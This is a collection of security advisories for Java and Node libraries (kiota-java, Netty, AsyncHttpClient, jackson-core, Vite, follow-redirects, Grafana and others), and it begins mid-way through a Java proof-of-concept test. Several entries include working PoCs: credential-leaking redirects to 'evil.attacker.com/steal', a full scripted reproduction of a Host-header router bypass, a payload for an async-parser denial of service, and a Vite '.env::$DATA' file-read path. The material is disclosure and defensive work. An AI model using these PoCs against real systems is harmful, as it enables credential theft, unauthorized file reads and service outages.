.addHeader("Cookie", "session=SECRET") .addHeader("Proxy-Authorization", "Basic cHJveHk6cGFzcw==") .build(); Response redirect = new Response.Builder() .request(original).protocol(Protocol.HTTP_1_1) .code(302).message("Found") .header("Location", "http://evil.attacker.com/steal") .body(ResponseBody.create("", MediaType.parse("text/plain"))) .build(); Request result = new RedirectHandler().getRedirect(original, redirect); assertNotNull(result); assertEquals("evil.attacker.com", result.url().host()); assertNull(result.header("Authorization")); // stripped (good) assertEquals("session=SECRET", result.header("Cookie")); // LEAKED assertEquals("Basic cHJveHk6cGFzcw==", result.header("Proxy-Authorization")); // LEAKED } @Test void endToEndProof() throws Exception { var evil = new MockWebServer(); evil.start(); evil.enqueue(new MockResponse().setResponseCode(200)); var trusted = new MockWebServer(); trusted.start(); trusted.enqueue(new MockResponse().setResponseCode(302) .setHeader("Location", evil.url("/steal"))); OkHttpClient client = KiotaClientFactory.create( new Interceptor[]{new RedirectHandler()}).build(); client.newCall(new Request.Builder().url(trusted.url("/api")) .addHeader("Cookie", "session=SECRET").build()).execute(); trusted.takeRequest(); RecordedRequest captured = evil.takeRequest(); assertEquals("session=SECRET", captured.getHeader("Cookie")); // LEAKED to evil server evil.shutdown(); trusted.shutdown(); } } ``` 3. Run the tests: ./gradlew :components:http:okHttp:test --tests "com.microsoft.kiota.http.middleware.SecurityPoC" 4. Result: BUILD SUCCESSFUL, 2 tests passed, 0 failures. Both tests confirm Cookie and Proxy-Authorization headers are sent to the attacker's server on cross-host redirect. ### Impact The kiota-java bug is more severe because it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type. Attack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim's session cookies, proxy credentials, and API keys from the redirected request. Impact: - Session hijacking via leaked Cookie headers - Corporate proxy credential theft via leaked Proxy-Authorization - API key theft via leaked custom auth headers (X-API-Key, etc.) All consumers of kiota-java are affected, including Microsoft Graph SDK for Java.
The _.unset and _.omit functions in Lodash are vulnerable to prototype pollution. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes. The issue permits deletion of properties but does not allow overwriting their original behavior. The issue is patched from 4.17.23 to 4.18.0 depending on the package: lodash, lodash-es, and lodash-amd in 4.17.23, and the standalone lodash.unset and lodash.omit packages in 4.18.0.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Prior to 3.0.13 and 2.16.1, ThreadSafeCookieStore validates Domain attributes with domain matching but does not reject public suffixes. A host beneath a suffix such as co.uk can set a cookie for that suffix, after which the shared cookie store sends it to unrelated hosts under the suffix. This can inject or overwrite session-relevant cookie values across origins. This issue is fixed in versions 3.0.13 and 2.16.1.
The non-blocking (asynchronous) JSON parser in jackson-core does not enforce the maxNumberLength constraint defined in StreamReadConstraints (default: 1000 characters). An attacker able to submit JSON to an application that uses the async parser API can supply a number token of arbitrary length, leading to excessive memory allocation and potential CPU exhaustion, resulting in a denial of service. The synchronous parser enforces this limit correctly, so the constraint is applied inconsistently depending on which parsing API the application uses. Root cause: the async parsing path in NonBlockingUtf8JsonParserBase and related classes never invokes the number length validation methods. Number parsing methods such as _finishNumberIntegralPart() accumulate digits into the TextBuffer without any length check, then call _valueComplete() to finalize the token. _valueComplete() does not call resetInt() or resetFloat(), which are the methods in ParserBase where validateIntegerLength() and validateFPLength() are performed. Because that validation step is skipped, maxNumberLength is never enforced on the async code path. Impact: an attacker sending a JSON document containing an arbitrarily long number to an application using the async parser (for example a Spring WebFlux or other reactive application) can cause unbounded allocation in the TextBuffer and an OutOfMemoryError. If the application subsequently calls getBigIntegerValue() or getDecimalValue(), the JVM may additionally be tied up in O(n^2) BigInteger parsing, causing CPU-based denial of service. No privileges or user interaction beyond the ability to submit data for parsing are required. This issue affects com.fasterxml.jackson.core:jackson-core from version 2.15.0 through 2.18.5 and from 2.19.0 through 2.21.0, and tools.jackson.core:jackson-core from 3.0.0 through 3.0.x. Versions prior to 2.15.0 are not affected, because StreamReadConstraints -- which defines the maxNumberLength setting -- was first introduced in jackson-core 2.15.0, so no such constraint exists to be bypassed in earlier releases. Note that GHSA-72hv-8253-57qq records the lower bound of the affected 2.x range as 2.0.0.
http-proxy-middleware is node.js http-proxy middleware. From 0.16.0 until 2.0.10, 3.0.6, and 4.1.0, http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. This vulnerability is fixed in 2.0.10, 3.0.6, and 4.1.0.
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, `HttpContentEncoder` (the superclass of the production handler `HttpContentCompressor`) maintains a per-channel `ArrayDeque<CharSequence>` named `acceptEncodingQueue` that accumulates attacker-controlled data without any size limit. The queue is filled on the I/O thread for every inbound HTTP request and drained only when the application later writes a non-1xx response. This creates a resource exhaustion vulnerability when an attacker exploits HTTP/1.1 pipelining to flood the connection with requests faster than the application produces responses. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
Netty is an asynchronous, event-driven network application framework. Prior to versions 4.1.136.Final and 4.2.16.Final, Netty's HTTP/2-to-HTTP/1.x translation layer (`Http2StreamFrameToHttpObjectCodec` and `InboundHttp2ToHttpAdapter`) fails to deduplicate or validate `Host` headers when an HTTP/2 client supplies both the `:authority` pseudo-header and a literal `host` header in a single HEADERS frame. The translator maps `:authority` to `Host` and separately copies the literal `host` header, producing an `HttpRequest` object containing two `Host` headers with attacker-controlled differing values. This issue has been fixed in versions 4.1.136.Final and 4.2.16.Final.
# Summary `http-proxy-middleware` documents `router` proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted `Host` header that is only a superstring match for a configured host+path key can still route a request to an unintended backend. # Details Tested code state: - validated on tag `v4.0.0-beta.5` - corresponding commit: `339f09ede860197807d4fd99ed9020fa5d0bd358` Relevant code locations: - `src/router.ts` - `src/http-proxy-middleware.ts` Affected public API: - `createProxyMiddleware({ router: { 'host/path': 'http://target' } })` Code explanation: When a proxy-table router key contains `/`, `getTargetFromProxyTable()` concatenates attacker-controlled `req.headers.host` and `req.url` into a single `hostAndPath` string, then accepts the route if: ```ts hostAndPath.indexOf(key) > -1 ``` That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is: ```txt localhost:3000/api ``` but the attacker-controlled host is: ```txt evillocalhost:3000 ``` and the request path is: ```txt /api ``` The concatenated attacker-controlled string: ```txt evillocalhost:3000/api ``` still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host. Exploit path: 1. the application enables the documented proxy-table `router` feature with at least one host+path rule 2. an external attacker sends an ordinary HTTP request with a crafted `Host` header 3. `HttpProxyMiddleware.prepareProxyRequest()` applies router selection before proxying 4. `getTargetFromProxyTable()` accepts the crafted `Host + path` string through substring matching 5. the request is proxied to the wrong backend ## PoC Create these files in the same working directory and run: ```bash bash ./run.sh ``` ### File: `run.sh` ```bash #!/usr/bin/env bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" REPO_URL="https://github.com/chimurai/http-proxy-middleware.git" REPO_REF="v4.0.0-beta.5" WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")" TARGET_REPO_DIR="${WORKDIR}/repo" REPRO_DIR="${WORKDIR}/reproduction" IMAGE_TAG="http-proxy-middleware-router-bypass-poc" cleanup() { rm -rf "${WORKDIR}" } trap cleanup EXIT echo "[a3] cloning target repository" git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}" git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}" mkdir -p "${REPRO_DIR}" cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile" cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs" echo "[a3] building reproduction image" docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}" echo "[a3] running verification" docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs ``` ### File: `Dockerfile` ```Dockerfile FROM node:22-bullseye WORKDIR /work COPY repo/package.json repo/yarn.lock /work/repo/ RUN corepack enable \ && cd /work/repo \ && yarn install --frozen-lockfile COPY repo /work/repo RUN cd /work/repo && yarn build COPY reproduction /work/reproduction ``` ### File: `verify.mjs` ```js import http from 'node:http'; import fs from 'node:fs'; import assert from 'node:assert/strict'; import { createProxyMiddleware } from '/work/repo/dist/index.js'; const ROUTER_KEY = 'localhost:3000/api'; const CRAFTED_HOST = 'evillocalhost:3000'; function listen(server, port) { return new Promise((resolve) => { server.listen(port, '127.0.0.1', () => resolve()); }); } function close(server) { return new Promise((resolve, reject) => { server.close((err) => { if (err) { reject(err); return; } resolve(); }); }); } function request(path, host) { return new Promise((resolve, reject) => { const req = http.request( { host: '127.0.0.1', port: 3000, path, method: 'GET', headers: { Host: host, }, }, (res) => { let data = ''; res.setEncoding('utf8'); res.on('data', (chunk) => { data += chunk; }); res.on('end', () => { resolve({ statusCode: res.statusCode, body: data }); }); }, ); req.on('error', reject); req.end(); }); } const defaultBackend = http.createServer((req, res) => { res.end('DEFAULT'); }); const secretBackend = http.createServer((req, res) => { res.end('SECRET'); }); const proxyMiddleware = createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); const proxyServer = http.createServer((req, res) => { proxyMiddleware(req, res, () => { res.statusCode = 404; res.end('NO_PROXY'); }); }); try { assert.ok(fs.existsSync('/work/repo/dist/index.js')); assert.ok(fs.existsSync('/work/reproduction/verify.mjs')); await listen(defaultBackend, 3101); await listen(secretBackend, 3102); await listen(proxyServer, 3000); console.log('STEP start-services ok'); const baseline = await request('/api', 'safe.example:3000'); assert.equal(baseline.statusCode, 200); assert.equal(baseline.body, 'DEFAULT'); console.log(`STEP baseline-route body=${baseline.body}`); const crafted = await request('/api', CRAFTED_HOST); assert.equal(crafted.statusCode, 200); assert.equal(crafted.body, 'SECRET'); assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]); console.log(`STEP crafted-route body=${crafted.body}`); console.log('RESULT reproduced host_header_injection router substring match bypass'); } finally { await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]); } ``` This PoC starts: - one default backend returning `DEFAULT` - one alternate backend returning `SECRET` - one proxy using: ```js createProxyMiddleware({ target: 'http://127.0.0.1:3101', router: { [ROUTER_KEY]: 'http://127.0.0.1:3102', }, }); ``` It then sends: 1. a baseline request to `/api` with `Host: safe.example:3000` 2. a crafted request to `/api` with `Host: evillocalhost:3000` Observed result from the validated PoC: - baseline request: `STEP baseline-route body=DEFAULT` - crafted request: `STEP crafted-route body=SECRET` - success marker: `RESULT reproduced host_header_injection router substring match bypass` The PoC is considered successful only if: 1. the baseline request stays on the default backend 2. the crafted request reaches the alternate backend 3. the crafted host is not equal to the configured router host # Impact This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted `Host` header.
### Summary The non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS). The standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy. ### Details The root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation. - The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks. - After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`. - The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed. - Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path. ### PoC The following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000. ```java package tools.jackson.core.unittest.dos; import java.nio.charset.StandardCharsets; import org.junit.jupiter.api.Test; import tools.jackson.core.*; import tools.jackson.core.exc.StreamConstraintsException; import tools.jackson.core.json.JsonFactory; import tools.jackson.core.json.async.NonBlockingByteArrayJsonParser; import static org.junit.jupiter.api.Assertions.*; /** * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers * * Authors: sprabhav7, rohan-repos * * maxNumberLength default = 1000 characters (digits). * A number with more than 1000 digits should be rejected by any parser. * * BUG: The async parser never calls resetInt()/resetFloat() which is where * validateIntegerLength()/validateFPLength() lives. Instead it calls * _valueComplete() which skips all number length validation. * * CWE-770: Allocation of Resources Without Limits or Throttling */ class AsyncParserNumberLengthBypassTest { private static final int MAX_NUMBER_LENGTH = 1000; private static final int TEST_NUMBER_LENGTH = 5000; private final JsonFactory factory = new JsonFactory(); // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength @Test void syncParserRejectsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); // Output to console System.out.println("[SYNC] Parsing " + TEST_NUMBER_LENGTH + "-digit number (limit: " + MAX_NUMBER_LENGTH + ")"); try { try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { System.out.println("[SYNC] Accepted number with " + p.getText().length() + " digits — UNEXPECTED"); } } } fail("Sync parser must reject a " + TEST_NUMBER_LENGTH + "-digit number"); } catch (StreamConstraintsException e) { System.out.println("[SYNC] Rejected with StreamConstraintsException: " + e.getMessage()); } } // VULNERABILITY: Async parser accepts the SAME number that sync rejects @Test void asyncParserAcceptsLongNumber() throws Exception { byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH); NonBlockingByteArrayJsonParser p = (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty()); p.feedInput(payload, 0, payload.length); p.endOfInput(); boolean foundNumber = false; try { while (p.nextToken() != null) { if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) { foundNumber = true; String numberText = p.getText(); assertEquals(TEST_NUMBER_LENGTH, numberText.length(), "Async parser silently accepted all " + TEST_NUMBER_LENGTH + " digits"); } } // Output to console System.out.println("[ASYNC INT] Accepted number with " + TEST_NUMBER_LENGTH + " digits — BUG CONFIRMED"); assertTrue(foundNumber, "Parser should have produced a VALUE_NUMBER_INT token"); } catch (StreamConstraintsException e) { fail("Bug is fixed — async parser now correctly rejects long numbers: " + e.getMessage()); } p.close(); } private byte[] buildPayloadWithLongInteger(int numDigits) { StringBuilder sb = new StringBuilder(numDigits + 10); sb.append("{\"v\":"); for (int i = 0; i < numDigits; i++) { sb.append((char) ('1' + (i % 9))); } sb.append('}'); return sb.toString().getBytes(StandardCharsets.UTF_8); } } ``` ### Impact A malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause: 1. **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number's digits, leading to an `OutOfMemoryError`. 2. **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS. ### Suggested Remediation The async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers. **NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)
Netty's HTTP/2-to-HTTP/1.x translation layer (`Http2StreamFrameToHttpObjectCodec` and `InboundHttp2ToHttpAdapter`) fails to deduplicate or validate `Host` headers when an HTTP/2 client supplies both the `:authority` pseudo-header and a literal `host` header in a single HEADERS frame. The translator maps `:authority` to `Host` and separately copies the literal `host` header, producing an `HttpRequest` object containing two `Host` headers with attacker-controlled differing values.
### Impact The cookie store decides whether a `Domain` attribute may be accepted using only the domain-matching rule of RFC 6265 Section 5.1.3, which asks whether the request host is the domain or ends with a dot followed by it. Section 5.3 step 5, which additionally requires rejecting a `Domain` that is a public suffix, is not implemented anywhere in the client. So a host under a multi-label public suffix can set a cookie for the suffix itself, and the store then hands it to every other host under that suffix: ``` attacker.co.uk -> Set-Cookie: SID=attacker-value; Domain=co.uk; Path=/ bank.co.uk -> Cookie: SID=attacker-value ``` `Domain=uk` works the same way. The attacker needs only a site under the same suffix as the victim, which for suffixes such as `co.uk`, `com.au`, or `github.io` is trivially obtainable. Depending on what the application does with the cookie, this is session fixation, or it overwrites a session the victim site set, or it lets the attacker plant a value the victim site trusts. ### Affected versions * 3.x: up to and including 3.0.12 * 2.x: up to and including 2.16.0 ### Relationship to CVE-2026-55688 CVE-2026-55688 (GHSA-m452-q8c9-rg2f) covered the direct form of this, where a host sets a `Domain` naming an unrelated host, and that form is genuinely fixed: `attacker.co.uk` can no longer set `Domain=bank.co.uk`, and this was verified as a control. What that fix did not add is the public suffix test, so setting `Domain=co.uk` still reaches `bank.co.uk`. This advisory covers only the residual. ### Patches Fixed in 3.0.13 on the 3.x line. The ICANN section of the Mozilla public suffix list is bundled with the client and a `Domain` matching it is rejected, honouring the list's wildcard and exception rules. The list is data and goes stale, so a suffix added upstream after a release is not recognised until the bundled copy is refreshed. The 2.x line is not yet fixed. ### Workarounds Do not share one `CookieStore` across origins that are not mutually trusted. Supplying a `CookieStore` implementation that rejects `Domain` values which are public suffixes also avoids it. ### Details `ThreadSafeCookieStore.domainsMatch` is `requestDomain.equals(cookieDomain) || requestDomain.endsWith('.' + cookieDomain)`. It is used both to accept a `Domain` on storage and to select cookies for a request, and neither call site consults a public suffix list. A search of the client for any public suffix or effective TLD handling returns nothing.
### Summary Netty's default SNI entrypoint reparses and recopies previously received ClientHello fragments on every additional TLS handshake record. A remote peer can send a small first record that advertises a large ClientHello length and then drip the body in many tiny records, causing **superlinear (quadratic) CPU work** before the handshake completes. With 4095 one-byte fragments, the handler recopies **8,386,560 bytes** from only **24,579 bytes** on the wire — a **341× amplification** ratio. ### Affected Entrypoints - `io.netty.handler.ssl.SniHandler` — default constructors - `io.netty.handler.ssl.SslClientHelloHandler` — pre-handshake ClientHello aggregation path ### Vulnerable Code Locations - `handler/src/main/java/io/netty/handler/ssl/SniHandler.java:85` - `handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:75` (decode entry) - `handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:165` (handshakeBuffer.clear) - `handler/src/main/java/io/netty/handler/ssl/SslClientHelloHandler.java:174` (writeBytes re-copy) - `codec-base/src/main/java/io/netty/handler/codec/ByteToMessageDecoder.java:294` (cumulation retention) ### Exploit Path ``` 1. TCP connection → SniHandler → SslClientHelloHandler.decode 2. First record: TLS handshake header declaring large ClientHello length (e.g., 4096 bytes) 3. Attacker sends thousands of tiny follow-on handshake records (1 byte each) 4. On each fragment: handshakeBuffer.clear() + writeBytes() re-copies ALL accumulated body bytes 5. Total bytes copied = n*(n+1)/2 where n = number of body bytes → quadratic 6. Event-loop CPU exhausted before SslHandler takes over ``` ### Impact - **Vulnerability Type:** Inefficient Algorithmic Complexity - An unauthenticated network attacker can drive disproportionate CPU consumption on the Netty event loop - Affects **all** Netty deployments using `SniHandler` for TLS termination (the default SNI path) - No privileges, user interaction, or special configuration required - Can degrade or stall TLS connection handling for all clients on the affected event loop - The attack requires only modest bandwidth (~25 KB) to trigger significant CPU work --- ### Credits Found by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/
### Summary The contents of files that are specified by [`server.fs.deny`](https://vite.dev/config/server-options#server-fs-deny) can be returned to the browser on Windows. ### Impact Only apps that match the following conditions are affected: - explicitly exposes the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) - the sensitive file exists in the allowed directories specified by [`server.fs.allow`](https://vite.dev/config/server-options#server-fs-allow) - either of: - the sensitive file exists in an NTFS volume - the dev server is running on Windows and the sensitive file exists in a volume that 8.3 short name generation is enabled (it is enabled by default on system volumes) ### Details Vite’s dev server denies direct access to sensitive files through `server.fs.deny`, including entries such as `.env`, `.env.*`, and `*.{crt,pem}`. However, on Windows, the deny logic does not correctly normalize NTFS ADS path forms before access checks are applied. Because of this, requests such as `/.env::$DATA?raw` are treated as allowed paths, while Windows resolves them to the original file's default data stream. Similar to that, Windows allows accessing a file using a different name with the 8.3 short name compatibility feature. Vite did not reject accessing files via them. ### PoC ```bash $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev ``` Access via browser at `http://localhost:5173/.env::$DATA?raw` <img width="388" height="129" alt="deecc1315123883cfd0f9c26a002845a" src="https://github.com/user-attachments/assets/895c6012-4e2e-4a35-babb-69bbf3ee7170" /> Example expected result: - `/.env::$DATA?raw` returns the contents of `.env` - `/tls.pem::$DATA?raw` returns the contents of `tls.pem`
The ejs (aka Embedded JavaScript templates) package before 3.1.10 for Node.js lacks certain pollution protection.
### Impact `HttpContentEncoder` (the superclass of the production handler `HttpContentCompressor`) maintains a per-channel `ArrayDeque<CharSequence>` named `acceptEncodingQueue` that accumulates attacker-controlled data without any size limit. The queue is filled on the I/O thread for every inbound HTTP request and drained only when the application later writes a non-1xx response. This creates a resource exhaustion vulnerability when an attacker exploits HTTP/1.1 pipelining to flood the connection with requests faster than the application produces responses.
## Summary When an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target. Since `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem. ## Affected Code `index.js`, lines 469-476: ```javascript if (redirectUrl.protocol !== currentUrlParts.protocol && redirectUrl.protocol !== "https:" || redirectUrl.host !== currentHost && !isSubdomain(redirectUrl.host, currentHost)) { removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers); } ``` The regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched. ## Attack Scenario 1. App uses axios with custom auth header: `headers: { 'X-API-Key': 'sk-live-secret123' }` 2. Server returns `302 Location: https://evil.com/steal` 3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com` 4. Attacker captures the API key ## Impact Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js. ## Suggested Fix Add a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect. ## Disclosure Source code review, manually verified. Found 2026-03-20.
### Impact Lodash versions 4.0.0 through 4.17.22 are vulnerable to prototype pollution in the `_.unset` and `_.omit` functions. An attacker can pass crafted paths which cause Lodash to delete methods from global prototypes. The issue permits deletion of properties but does not allow overwriting their original behavior. ### Patches This issue is patched on 4.17.23.
The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. When redirect following is enabled (followRedirect(true)), versions of AsyncHttpClient prior to 3.0.9 and 2.14.5 forward Authorization and Proxy-Authorization headers along with Realm credentials to arbitrary redirect targets regardless of domain, scheme, or port changes. This leaks credentials on cross-domain redirects and HTTPS-to-HTTP downgrades. Additionally, even when stripAuthorizationOnRedirect is set to true, the Realm object containing plaintext credentials is still propagated to the redirect request, causing credential re-generation for Basic and Digest authentication schemes via NettyRequestFactory. An attacker who controls a redirect target (via open redirect, DNS rebinding, or MITM on HTTP) can capture Bearer tokens, Basic auth credentials, or any other Authorization header value. The fix in versions 3.0.9 and 2.14.5 automatically strips Authorization and Proxy-Authorization headers and clears Realm credentials whenever a redirect crosses origin boundaries (different scheme, host, or port) or downgrades from HTTPS to HTTP. For users unable to upgrade, set `(stripAuthorizationOnRedirect(true))` in the client config and avoid using Realm-based authentication with redirect following enabled. Note that `(stripAuthorizationOnRedirect(true))` alone is insufficient on versions prior to 3.0.9 and 2.14.5 because the Realm bypass still re-generates credentials. Alternatively, disable redirect following (`followRedirect(false)`) and handle redirects manually with origin validation.
Netty is a network application framework for development of protocol servers and clients. Prior to versions 4.1.135.Final and 4.2.15.Final, Netty's DNS resolver uses a predictable PRNG for generating DNS transaction IDs and defaults to a static UDP source port. This combination reduces the entropy of DNS queries, enabling DNS Cache Poisoning (Kaminsky attack). Versions 4.1.135.Final and 4.2.15.Final patch the issue.
### Impact When redirect following is enabled (followRedirect(true)), AsyncHttpClient forwards Authorization and Proxy-Authorization headers along with Realm credentials to arbitrary redirect targets regardless of domain, scheme, or port changes. This leaks credentials on cross-domain redirects and HTTPS-to-HTTP downgrades. Additionally, even when stripAuthorizationOnRedirect is set to true, the Realm object containing plaintext credentials is still propagated to the redirect request, causing credential re-generation for Basic and Digest authentication schemes via NettyRequestFactory. An attacker who controls a redirect target (via open redirect, DNS rebinding, or MITM on HTTP) can capture Bearer tokens, Basic auth credentials, or any other Authorization header value. ### Patches Fixed in version 3.0.9 or 2.14.5. Users should upgrade immediately. The fix automatically strips Authorization and Proxy-Authorization headers and clears Realm credentials whenever a redirect crosses origin boundaries (different scheme, host, or port) or downgrades from HTTPS to HTTP. ### Workarounds For users unable to upgrade, set (stripAuthorizationOnRedirect(true)) in the client config and avoid using Realm-based authentication with redirect following enabled. Note that (stripAuthorizationOnRedirect(true)) alone is insufficient on versions prior to 3.0.9 or 2.14.5 because the Realm bypass still re-generates credentials. Alternatively, disable redirect following (followRedirect(false)) and handle redirects manually with origin validation. ### References - Fix commit: https://github.com/AsyncHttpClient/async-http-client/commit/6b2fbb7f8
### Summary Netty's DNS resolver uses a predictable PRNG for generating DNS transaction IDs and defaults to a static UDP source port. This combination reduces the entropy of DNS queries, enabling DNS Cache Poisoning (Kaminsky attack). ### Details Two factors contribute to this vulnerability in io.netty.resolver.dns: - Predictable Query IDs: `DnsQueryIdSpace` manages 16-bit transaction IDs in buckets of 16,384 IDs. It initializes only the first bucket. When an ID is returned, it is pushed back into the bucket at a random index generated by java.util.concurrent.ThreadLocalRandom: ```java Random random = ThreadLocalRandom.current(); int insertionPosition = random.nextInt(count + 1); ``` Because ThreadLocalRandom is a predictable LCG and the resolver operates within a single bucket, the sequence of IDs is predictable once the PRNG state is mathematically recovered. - Default Static Source Port: `DnsNameResolverBuilder` defaults to a `channelStrategy` of `ChannelPerResolver`. This binds the DatagramChannel once, resulting in a static source port for all subsequent queries. Combined, a static source port and predictable transaction IDs reduces the entropy required to secure DNS resolution against spoofing. ### Impact DNS Cache Poisoning. Downstream applications using the default Netty DNS resolver may connect to malicious IPs, leading to traffic interception or MitM attacks.
Vite is a frontend tooling framework for javascript. Vite allowed any websites to send any requests to the development server and read the response due to default CORS settings and lack of validation on the Origin header for WebSocket connections. This vulnerability is fixed in 6.0.9, 5.4.12, and 4.5.6.
webpack-dev-server allows users to use webpack with a development server that provides live reloading. Prior to version 5.2.1, webpack-dev-server users' source code may be stolen when you access a malicious web site with non-Chromium based browser. The `Origin` header is checked to prevent Cross-site WebSocket hijacking from happening, which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address `Origin` headers. This allows websites that are served on IP addresses to connect WebSocket. An attacker can obtain source code via a method similar to that used to exploit CVE-2018-14732. Version 5.2.1 contains a patch for the issue.
Allocation of Resources Without Limits or Throttling (CWE-770) in Elasticsearch can allow a low-privileged authenticated user to cause Excessive Allocation (CAPEC-130) causing a persistent denial of service (OOM crash) via submission of oversized user settings data.
A TraceQL query in Grafana Tempo with a large exemplars hint value can cause the Tempo instance to allocate an excessive amount of memory, resulting in an out-of-memory crash. This could allow an authenticated user to trigger a denial of service against the Tempo service.
The Grafana Live push endpoint can be exploited to cause unbounded memory allocation by sending a large or streaming request body, potentially leading to out-of-memory conditions. An authenticated user with access to the Grafana Live API can trigger this issue.
A race condition in Grafana Live allows authenticated users with Viewer role to trigger a server crash by sending concurrent requests that cause a fatal map access error. This results in complete service unavailability requiring restart of the Grafana server.
A request to the Grafana plugin resources endpoint can cause unbounded memory allocation by reading the entire request body into memory. An authenticated user can exploit this to trigger an out-of-memory condition, potentially causing a denial of service.
The Grafana MSSQL data source plugin contains a logic flaw that allows a low-privileged user (Viewer) to bypass API restrictions and trigger a catastrophic Out-Of-Memory (OOM) memory exhaustion, crashing the host container.
Using the $__timeGroup macro, one can achieve an OOM by overloading the server. This requires a SQL datasource. If the server is set up to auto-restart, the impact is minimal or non-existent, as the attack can take upwards of half an hour to crash the server.
OpenTelemetry Java Instrumentation provides OpenTelemetry auto-instrumentation and instrumentation libraries for Java. In versions prior to 2.28.0, the JDBC auto-instrumentation may fail to sanitize passwords in SQL CONNECT statements when the password is double-quoted. As a result, clear-text database passwords can be added to trace span attributes and exported to observability backends. This issue has been fixed in version 2.28.0.
